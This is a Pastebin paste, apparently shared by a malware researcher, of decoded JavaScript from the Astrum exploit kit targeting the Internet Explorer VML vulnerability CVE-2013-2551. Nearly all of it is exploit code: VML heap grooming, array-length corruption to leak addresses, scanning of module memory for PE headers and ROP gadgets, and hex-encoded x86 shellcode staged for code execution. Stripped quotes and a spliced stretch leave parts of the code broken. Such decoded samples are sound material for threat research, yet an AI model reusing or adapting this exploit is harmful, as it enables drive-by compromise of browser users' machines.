Advertisement
Kafeine

Astrum - CVE-2013-2551 - decoded

Sep 13th, 2014
1,013
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function x(x) {
  2.     return t[X](x)
  3. }
  4.  
  5. function e(x, e, n) {
  6.     if (x[b] < e[b]) return -1;
  7.     if (n) {
  8.         if (x[substr](0 == x[V](0) ? 1 : 0, e[b]) == e) return 0
  9.     } else if (n = x[b] - e[b], 0 == x[V](x[b] - 1) && n++, x[substr](n, e[b]) == e) return n;
  10.     return -1
  11. }
  12.  
  13. function n(x) {
  14.     for (var e = s, r = 0; r < x[b]; r++) var n = x[V](r),
  15.         e = e + W[L](255 & n),
  16.         e = e + W[L]((65280 & n) >> 8);
  17.     return e
  18. }
  19.  
  20. function a(x) {
  21.     var e = x >> 16 & 65535;
  22.     return %u + f(65535 & x, 4) + % u + f(e, 4)
  23. }
  24.  
  25. function u(x) {
  26.     return C[B][U][E](68) = x, y[I][$]
  27. }
  28.  
  29. function f(x, e) {
  30.     for (var n = x[toString](16); n[b] < e;) n = 0 + n;
  31.     return n
  32. }
  33.  
  34. function p(x) {
  35.     for (var e = 0; 3 > e; e++) {
  36.         var r = u(x + e);
  37.         if (r) return x = r, r = 1 < x[b] ? f(x[V](1), 4) + f(x[V](0), 4) : f(x[V](0), 4), x = c(r, 16), x << 8 * e
  38.     }
  39.     return 0
  40. }
  41.  
  42. function d(x) {
  43.     var e = null;
  44.     if (x) {
  45.         for (x &= 4294901760;;) {
  46.             if (23117 == (65535 & p(x))) {
  47.                 e = x;
  48.                 break
  49.             }
  50.             x -= 65536
  51.         }
  52.         if (e) {
  53.             var r = e + p(e + 60);
  54.             if (17744 == p(r) && (x = p(r + 28), r = p(r + 44), x && r)) return {
  55.                 a: e + r,
  56.                 b: e + r + x
  57.             }
  58.         }
  59.     }
  60.     return null
  61. }
  62.  
  63. function h() {
  64.     for (var x = 0; 1024 > x; x++) A[x] = i[createElement](vv: +O), o[appendChild](A[x]);
  65.     for (C = N[P](obid), x = 0; 1024 > x; x++) y[x] = A[x][_vgRuntimeStyle];
  66.     for (x = 0; 1024 > x; x++) {
  67.         try {
  68.             y[x][H]
  69.         } catch (e) {}
  70.         768 == x && (C[B] = 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44)
  71.     }
  72.     T = C[B][U][b];
  73.     try {
  74.         C[B][U][b] = -1
  75.     } catch (n) {
  76.         return !1
  77.     }
  78.     for (C[B][U][b] = 69, x = 0; 1024 > x; x++) {
  79.         y[x][$] = a;
  80.         var t = C[B][U][E](68);
  81.         if (t > 0) return M = t, I = x, !0
  82.     }
  83.     return !1
  84. }
  85.  
  86. function v() {
  87.     k = N[P](oaid);
  88.     for (var x = 0; 1024 > x; x++) S[x] = A[x][_anchorRect], 768 == x && (k[B] = 1 2 3 4);
  89.     x = k[B][U][b];
  90.     try {
  91.         k[B][U][b] = -1
  92.     } catch (e) {
  93.         return null
  94.     }
  95.     var n = k[B][U][E](6),
  96.         t = k[B][U][E](7);
  97.     return n > 0 && t > 0 && 1 == k[B][U][E](8) ? (F = n, R = t, G = x, !0) : (k[B][U][b] = x, !1)
  98. }
  99.  
  100. function g() {
  101.     var e = d(F);
  102.     if (!e) return !1;
  103.     for (var t = x( % 8b % 01 % ff % 50 % 04), a = e.a; a < e.b;) {
  104.         var i = u(a);
  105.         if (i) {
  106.             var l = null,
  107.                 i = n(i);
  108.             if (-1 != (l = i[_](t))) return J = a + l, !0;
  109.             a += i[b]
  110.         }
  111.         a += 2
  112.     }
  113.     return !1
  114. }
  115. var m, b = length,
  116.     _ = indexOf,
  117.     $ = marginLeft,
  118.     E = item,
  119.     C = null,
  120.     A = [],
  121.     y = [],
  122.     S = [],
  123.     w = [],
  124.     O = shape,
  125.     L = fromCharCode,
  126.     w = [vv, urn: schemas - microsoft - com: vml, #
  127.         default# VML
  128.     ];
  129. m = i[namespaces];
  130. try {
  131.     m[add](w[0], w[1], w[2])
  132. } catch (D) {}
  133. i[createStyleSheet]()[cssText] = w[0] + : * {
  134.     behavior: url(+w[2] + );
  135.     display: inline - block;
  136. }, o[insertAdjacentHTML](afterbegin, < vv: oval > < vv: stroke id = 'obid' > < /vv:stroke></vv: oval > ), o[insertAdjacentHTML](afterbegin, < vv: oval > < vv: stroke id = 'oaid'/WOW64;/i.test(O),
  137.                         T = /Win64;/i.test(O),
  138.                         F = /Trident/ (d) / i.test(O) ? c(RegExp.$1) : null;
  139.                     if (!T && L) {
  140.                         Q = F, xe = D, w = !0;
  141.                         break e
  142.                     }
  143.                 } catch (H) {}
  144.                 w = !1
  145.             }
  146.             if (w && (i = 15 & p(2147353192) ? p(2147353188) : null, w = p(2147353196), O = p(2147353200), m = 5 != w || 1 != O && 2 != O || 1 != i ? 6 == w && 0 == O && 1 == i ? 2 : 6 == w && 1 == O && 1 == i ? 3 : 0 : 1, 0 != m && (i = p(xe ? 2147353408 : 2147353344)))) {
  147.                 var P = d(i);
  148.                 if (P) {
  149.                     i = x( % 94 % c3), w = x( % 5a % c3);
  150.                     var O = x( % ff % 06 % c3),
  151.                         L = x( % ff % 07 % c3),
  152.                         D = x( % 5e % c3),
  153.                         T = x( % 5f % c3),
  154.                         X = F = null;
  155.                     xe ? (X = x( % b8 % 4d), F = x( % 33 % c9 % 8d % 54 % 24 % 04 % 64 % ff % 15 % c0)) : (1 == m ? X = x( % b8 % 89) : 2 == m ? X = x( % b8 % d2) : 3 == m && (X = x( % b8 % d7)), F = x( % ba % 00 % 03 % fe % 7f % ff % 12 % c2 % 14));
  156.                     var W = null,
  157.                         G = null,
  158.                         ee = m = null,
  159.                         re = null,
  160.                         ne = P.a;
  161.                     for (M8Wu = P.b; M8Wu > ne;) {
  162.                         var te = u(ne);
  163.                         if (te) {
  164.                             if (P = null, te = n(te), q || !re && -1 == (P = e(te, X, !1)) || (re ? -1 != e(te, F, !0) ? q = re : re = null : re = ne + P), z || -1 == (P = te[_](i)) || (z = ne + P), Y || -1 == (P = te[_](w)) || (Y = ne + P), o = W && m, A = G && ee, o || (W || -1 == (P = te[_](O)) || (W = ne + P), m || -1 == (P = te[_](D)) || (m = ne + P)), A || (G || -1 == (P = te[_](L)) || (G = ne + P), ee || -1 == (P = te[_](T)) || (ee = ne + P)), z && Y && q && (o || A)) break;
  165.                             ne += te[b]
  166.                         }
  167.                         ne += 2
  168.                     }(o || A) && (o ? (K = W, Z = m) : (K = G, Z = ee)), o = z && Y && q && K && Z;
  169.                     break x
  170.                 }
  171.             }
  172.             o = void 0
  173.         }
  174.         i = o && v() && g()
  175.     }
  176.     if (i) {
  177.         x: {
  178.             for (C[B][U][E](68) = M, o = AB; 262144 > o[b];) o += o;
  179.             for (o = o[substring](0, 262125) + XXX, A = 6 == Q ? % f8 : % fc, i = 6 == Q ? % f0 : % f4, A = x( % EB % 1f % 60 % 8b % 44 % 24 % 20 % ff % d0 % 61 % 8B % 75 % 08 + (6 == Q ? % 8d % 76 % 04 : % 90 % 90 % 90) + % C7 % 06 + n(x(a(R))) + % 8d % 65 + A + % 8b % 45 + i + % 83 % e8 % 08 % ff % e0 % e8 % dc % ff % ff % ff), i = x( % 8D % 78 % 18 % 89 % FE % 66 % AD % 84 % E4 % 74 % 0C % FE % CC % FE % C8 % C0 % E0 % 04 % 08 % E0 % AA % EB % EE % 90), A += i, i = 0; 7 > i; i++) {
  180.                 for (y[I][$] = o, w = M = C[B][U][E](68), O = w + 2 * o[b], L = a(O + 4) + a(O + 12) + a(J) + a(Y) + a(z) + a(Z) + a(O + 65) + a(K) + a(Z) + a(O + 78) + a(K) + a(q) + a(O + 84) + a(4294967295) + a(O + 72) + a(O + 76) + a(4294967104) + a(O + 79) + a(O + 84) + a(4294902784) + a(1094795585), D = A, T = s, D[b] % 2 && (D += x( % 00)), F = 0; F < D[b]; F += 2) T += % u, T += f(D[V](F + 1), 2), T += f(D[V](F), 2);
  181.                 if (L = x(L + T + t), y[I][$] += L, w == C[B][U][E](68)) {
  182.                     t = O;
  183.                     break x
  184.                 }
  185.             }
  186.             t = null
  187.         }
  188.         if (t) {
  189.             for (k[B][U][E](7) = t, t = 0; 1024 > t; t++) j[t] = N[createElement](div), j[t][setAttribute](class, S[t]), j[t][classname] = S[t];
  190.             for (t = 0; 1024 > t; t++) delete j[t], CollectGarbage()
  191.         }
  192.     }
  193. }(ee), C && (M && (C[B][U][E](68) = M), C[B][U][b] = T), k && R && G && (k[B][U][E](7) = R, k[B][U][b] = G)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement